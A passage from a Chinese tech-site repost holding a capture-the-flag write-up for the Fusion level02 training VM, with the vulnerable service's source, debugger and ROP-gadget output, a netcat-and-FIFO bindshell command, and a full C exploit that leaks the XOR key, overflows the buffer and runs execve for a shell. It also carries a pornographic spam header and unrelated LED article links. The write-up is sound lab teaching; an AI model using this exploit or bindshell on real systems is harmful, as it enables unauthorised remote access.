www.久久久久|狼友网站av天堂|精品国产无码a片|一级av色欲av|91在线播放视频|亚洲无码主播在线|国产精品草久在线|明星AV网站在线|污污内射久久一区|婷婷综合视频网站

當(dāng)前位置:首頁 > > 充電吧
[導(dǎo)讀]對(duì)最后的exploit 中的payload2做了小小的修改,可以得到shell。Level 02 introduces nonexec stack and heap to go with the AS


對(duì)最后的exploit 中的payload2做了小小的修改,可以得到shell。

Level 02 introduces nonexec stack and heap to go with the ASLR.


#include?"../common/common.c"??

#define?XORSZ?32

void?cipher(unsigned?char?*blah,?size_t?len)
{
??static?int?keyed;
??static?unsigned?int?keybuf[XORSZ];

??int?blocks;
??unsigned?int?*blahi,?j;

??if(keyed?==?0)?{
????int?fd;
????fd?=?open("/dev/urandom",?O_RDONLY);
????if(read(fd,?&keybuf,?sizeof(keybuf))?!=?sizeof(keybuf))?exit(EXIT_FAILURE);
????close(fd);
????keyed?=?1;
??}

??blahi?=?(unsigned?int?*)(blah);
??blocks?=?(len?/?4);
??if(len?&?3)?blocks?+=?1;

??for(j?=?0;?j?<?blocks;?j++)?{
????blahi[j]?^=?keybuf[j?%?XORSZ];?
??}
}

void?encrypt_file()
{
??//?http://thedailywtf.com/Articles/Extensible-XML.aspx
??//?maybe?make?bigger?for?inevitable?xml-in-xml-in-xml??
??unsigned?char?buffer[32?*?4096];?

??unsigned?char?op;
??size_t?sz;
??int?loop;

??printf("[--?Enterprise?configuration?file?encryption?service?--]n");
??
??loop?=?1;
??while(loop)?{
????nread(0,?&op,?sizeof(op));
????switch(op)?{
??????case?'E':
????????nread(0,?&sz,?sizeof(sz));
????????nread(0,?buffer,?sz);
????????cipher(buffer,?sz);
????????printf("[--?encryption?complete.?please?mention?"?
????????"474bd3ad-c65b-47ab-b041-602047ab8792?to?support?"?
????????"staff?to?retrieve?your?file?--]n");
????????nwrite(1,?&sz,?sizeof(sz));
????????nwrite(1,?buffer,?sz);
????????break;
??????case?'Q':
????????loop?=?0;
????????break;
??????default:
????????exit(EXIT_FAILURE);
????}
??}
????
}

int?main(int?argc,?char?**argv,?char?**envp)
{
??int?fd;
??char?*p;

??background_process(NAME,?UID,?GID);??
??fd?=?serve_forever(PORT);
??set_io(fd);

??encrypt_file();
}

The overflow in **encrypt_file** is obvious, but what we send will be encrypted with a random 32 dword XOR key before we can do anything with it. The key is generated randomly per connection, but every encryption job we ask the server to perform will use the same key. First we need to leak the key, which we can do by sending 128 bytes of nulls to be encrypted. (x ^ 0 = x) We can then encrypt the payload using that key. Because xor is symmetric (x ^ y ^ y = x), **cipher()** will write our original payload into memory. There are a couple of other things working in our favour as well: there's a GOT entry for **execve()**, so we don't need to find it. The arguments for **execve()** are a bit of a pain to get into memory, but because the connection to the client is left open, instead of building a ROP chain to put it together piecemeal, we can just use **nread()** to write it directly into memory from the client. We'll trash some memory in the [bss](https://en.wikipedia.org/wiki/.bss) for that.

fusion@fusion:~#?objdump?-h?/opt/fusion/bin/level02?|?grep?bss
?25?.bss??????????000000e0??0804b420??0804b420??00002418??2**5


I picked the arbitrary offset?0x804b820, so we shouldn't overwrite anything important.

We also need the addresses for?execve(),?exit()?and?nread().

(gdb)?x/wx?0x804b3c4
0x804b3c4:???????0x08048966
(gdb)?x/i?0x8048966-6
???0x8048960:????????jmp????*0x804b3c4
(gdb)?x/wx?0x804b3d8
0x804b3d8:?????0x080489b6
(gdb)?x/i?0x80489b6-6
???0x80489b0:??????jmp????*0x804b3d8
(gdb)?p?&nread
$1?=?(ssize_t?(*)(int,?void?*,?size_t))?0x804952d

Since?execve()?and?nread()?both take three arguments, we need a pop-pop-pop-ret gadget to jump over them.

ROPeMe>?generate?level02?10
Generating?gadgets?for?level02?with?backward?depth=10
It?may?take?few?minutes?depends?on?the?depth?and?file?size...
Processing?code?block?1/1
Generated?222?gadgets
Dumping?asm?gadgets?to?file:?level02.ggt?...
OK
ROPeMe>?search?pop?%?pop?%?pop?%
Searching?for?ROP?gadget:??pop?%?pop?%?pop?%?with?constraints:?[]
0x8048f85L:?pop?ebx?;?pop?edi?;?pop?ebp?;;
0x80499bcL:?pop?ebx?;?pop?esi?;?pop?edi?;?pop?ebp?;;
0x8049529L:?pop?esi?;?pop?edi?;?pop?ebp?;;
0x80499bdL:?pop?esi?;?pop?edi?;?pop?ebp?;;

The version of netcat in the fusion vm has no -e flag, so we need to try slightly harder for the bindshell.

/bin/sh?-c?mkfifo?/tmp/hax;cat?/tmp/hax|/bin/sh?-i?2>&1|nc?-l?6666?>/tmp/hax

Setting a breakpoint on?execve(), we can see the?nread()?call has left everything the way we need it to be.

(gdb)?b?execve
Breakpoint?1?at?0xb760a910:?file?../sysdeps/unix/sysv/linux/execve.c,?line?32.
(gdb)?set?follow-fork-mode?child
(gdb)?c
Continuing.
[New?process?6350]
[Switching?to?process?6350]

Breakpoint?1,?__execve?(file=0x804b820?"/bin/sh",?argv=0x804b870,?envp=0x0)?at?../sysdeps/unix/sysv/linux/execve.c:32
32??????../sysdeps/unix/sysv/linux/execve.c:?No?such?file?or?directory.
????????in?../sysdeps/unix/sysv/linux/execve.c
(gdb)?x/24x?0x804b820
0x804b820:??????0x6e69622f??????0x0068732f??????0x0000632d??????0x69666b6d
0x804b830:??????0x2f206f66??????0x2f706d74??????0x3b786168??????0x20746163
0x804b840:??????0x706d742f??????0x7861682f??????0x69622f7c??????0x68732f6e
0x804b850:??????0x20692d20??????0x31263e32??????0x20636e7c??????0x36206c2d
0x804b860:??????0x20363636??????0x6d742f3e??????0x61682f70??????0x00000078
0x804b870:??????0x0804b820??????0x0804b828??????0x0804b82c??????0x00000000
(gdb)?x/4s?0x804b820
0x804b820:???????"/bin/sh"
0x804b828:???????"-c"
0x804b82b:???????""
0x804b82c:???????"mkfifo?/tmp/hax;cat?/tmp/hax|/bin/sh?-i?2>&1|nc?-l?6666?>/tmp/hax"


And the complete exploit:

#include#include#include#include#include#include#define?XORSZ?32


unsigned?int?keybuf[XORSZ];
unsigned?char?buffer[33?*?4096];


void?cipher(unsigned?char?*blah,?size_t?len)?{
????int?blocks;
????unsigned?int?*blahi,?j;


????blahi?=?(unsigned?int?*)(blah);
????blocks?=?(len?/?4);
????if(len?&?3)?blocks?+=?1;


????for(j?=?0;?j?<?blocks;?j++)
????????blahi[j]?^=?keybuf[j?%?XORSZ];
}


void?eatline(int?s)?{
????unsigned?char?x;
????while?(read(s,?&x,?1)?==?1?&&?x?!=?'n');
}


int?main()?{
????int?i,?sock;
????unsigned?char?x,?op;
????struct?sockaddr_in?sai;
????size_t?size;


????/*?nread?0x5c?bytes?of?payload2?to?0x804b820?and?execve?it?*/
????unsigned?char?payload1[]?=
????????"x2dx95x04x08""x85x8fx04x08""x00x00x00x00""x20xb8x04x08""x5cx00x00x00"
????????"xb0x89x04x08""x60x89x04x08""x20xb8x04x08""x70xb8x04x08""x00x00x00x00";


????/*?load?bindshell?command?line?and?argv[]?array?for?execve?*/
????unsigned?char?payload2[]?=
????????"/bin/shx00-cx00x00mkfifo?/tmp/hax;cat?/tmp/hax|/bin/sh?-i?2>&1|nc?-lp?3333?>/tmp/haxx00x00"
????????"x20xb8x04x08x28xb8x04x08x2cxb8x04x08";


????sock?=?socket(AF_INET,?SOCK_STREAM,?0);
????memset(&sai,?0,?sizeof(sai));


????sai.sin_family?=?AF_INET;
????sai.sin_port?=?htons(20002);
???//?inet_pton(AF_INET,?"127.0.0.1",?&sai.sin_addr);


????memset(buffer,'A',0x20010);
????memcpy(buffer+0x20010,?payload1,?sizeof(payload1));
????connect(sock,?(struct?sockaddr?*)&sai,?sizeof(sai));


????eatline(sock);


????/*?get?keybuf?from?server?*/
????op?=?'E';
????write(sock,?&op,?sizeof(op));


????size?=?sizeof(keybuf);
????write(sock,?&size,?sizeof(size));
????write(sock,?keybuf,?size);
????eatline(sock);
????read(sock,?&size,?sizeof(size));
????read(sock,?keybuf,?size);
????
????cipher(buffer,?0x20010+sizeof(payload1));


????/*?Exploit...?*/
????op?=?'E';
????write(sock,?&op,?sizeof(op));


????size?=?0x20010+sizeof(payload1);
????write(sock,?&size,?sizeof(size));
????write(sock,?buffer,?size);
????eatline(sock);


????/*?If?there's?any?data?left?to?be?received,?the?EPIPE?will?kill?the?shell?*/
????char?garbage[1024];
????while?(read(sock,?garbage,?1024)?==?1024);


????/*?Trigger...?*/
????op?=?'Q';
????write(sock,?&op,?sizeof(op));


????write(sock,?payload2,?sizeof(payload2));
}


fusion@fusion:~$ nc localhost 3333
sh: no job control in this shell
sh-4.2$ id
id
uid=20002 gid=20002 groups=20002



本站聲明: 本文章由作者或相關(guān)機(jī)構(gòu)授權(quán)發(fā)布,目的在于傳遞更多信息,并不代表本站贊同其觀點(diǎn),本站亦不保證或承諾內(nèi)容真實(shí)性等。需要轉(zhuǎn)載請(qǐng)聯(lián)系該專欄作者,如若文章內(nèi)容侵犯您的權(quán)益,請(qǐng)及時(shí)聯(lián)系本站刪除。
換一批
延伸閱讀

LED驅(qū)動(dòng)電源的輸入包括高壓工頻交流(即市電)、低壓直流、高壓直流、低壓高頻交流(如電子變壓器的輸出)等。

關(guān)鍵字: 驅(qū)動(dòng)電源

在工業(yè)自動(dòng)化蓬勃發(fā)展的當(dāng)下,工業(yè)電機(jī)作為核心動(dòng)力設(shè)備,其驅(qū)動(dòng)電源的性能直接關(guān)系到整個(gè)系統(tǒng)的穩(wěn)定性和可靠性。其中,反電動(dòng)勢抑制與過流保護(hù)是驅(qū)動(dòng)電源設(shè)計(jì)中至關(guān)重要的兩個(gè)環(huán)節(jié),集成化方案的設(shè)計(jì)成為提升電機(jī)驅(qū)動(dòng)性能的關(guān)鍵。

關(guān)鍵字: 工業(yè)電機(jī) 驅(qū)動(dòng)電源

LED 驅(qū)動(dòng)電源作為 LED 照明系統(tǒng)的 “心臟”,其穩(wěn)定性直接決定了整個(gè)照明設(shè)備的使用壽命。然而,在實(shí)際應(yīng)用中,LED 驅(qū)動(dòng)電源易損壞的問題卻十分常見,不僅增加了維護(hù)成本,還影響了用戶體驗(yàn)。要解決這一問題,需從設(shè)計(jì)、生...

關(guān)鍵字: 驅(qū)動(dòng)電源 照明系統(tǒng) 散熱

根據(jù)LED驅(qū)動(dòng)電源的公式,電感內(nèi)電流波動(dòng)大小和電感值成反比,輸出紋波和輸出電容值成反比。所以加大電感值和輸出電容值可以減小紋波。

關(guān)鍵字: LED 設(shè)計(jì) 驅(qū)動(dòng)電源

電動(dòng)汽車(EV)作為新能源汽車的重要代表,正逐漸成為全球汽車產(chǎn)業(yè)的重要發(fā)展方向。電動(dòng)汽車的核心技術(shù)之一是電機(jī)驅(qū)動(dòng)控制系統(tǒng),而絕緣柵雙極型晶體管(IGBT)作為電機(jī)驅(qū)動(dòng)系統(tǒng)中的關(guān)鍵元件,其性能直接影響到電動(dòng)汽車的動(dòng)力性能和...

關(guān)鍵字: 電動(dòng)汽車 新能源 驅(qū)動(dòng)電源

在現(xiàn)代城市建設(shè)中,街道及停車場照明作為基礎(chǔ)設(shè)施的重要組成部分,其質(zhì)量和效率直接關(guān)系到城市的公共安全、居民生活質(zhì)量和能源利用效率。隨著科技的進(jìn)步,高亮度白光發(fā)光二極管(LED)因其獨(dú)特的優(yōu)勢逐漸取代傳統(tǒng)光源,成為大功率區(qū)域...

關(guān)鍵字: 發(fā)光二極管 驅(qū)動(dòng)電源 LED

LED通用照明設(shè)計(jì)工程師會(huì)遇到許多挑戰(zhàn),如功率密度、功率因數(shù)校正(PFC)、空間受限和可靠性等。

關(guān)鍵字: LED 驅(qū)動(dòng)電源 功率因數(shù)校正

在LED照明技術(shù)日益普及的今天,LED驅(qū)動(dòng)電源的電磁干擾(EMI)問題成為了一個(gè)不可忽視的挑戰(zhàn)。電磁干擾不僅會(huì)影響LED燈具的正常工作,還可能對(duì)周圍電子設(shè)備造成不利影響,甚至引發(fā)系統(tǒng)故障。因此,采取有效的硬件措施來解決L...

關(guān)鍵字: LED照明技術(shù) 電磁干擾 驅(qū)動(dòng)電源

開關(guān)電源具有效率高的特性,而且開關(guān)電源的變壓器體積比串聯(lián)穩(wěn)壓型電源的要小得多,電源電路比較整潔,整機(jī)重量也有所下降,所以,現(xiàn)在的LED驅(qū)動(dòng)電源

關(guān)鍵字: LED 驅(qū)動(dòng)電源 開關(guān)電源

LED驅(qū)動(dòng)電源是把電源供應(yīng)轉(zhuǎn)換為特定的電壓電流以驅(qū)動(dòng)LED發(fā)光的電壓轉(zhuǎn)換器,通常情況下:LED驅(qū)動(dòng)電源的輸入包括高壓工頻交流(即市電)、低壓直流、高壓直流、低壓高頻交流(如電子變壓器的輸出)等。

關(guān)鍵字: LED 隧道燈 驅(qū)動(dòng)電源
關(guān)閉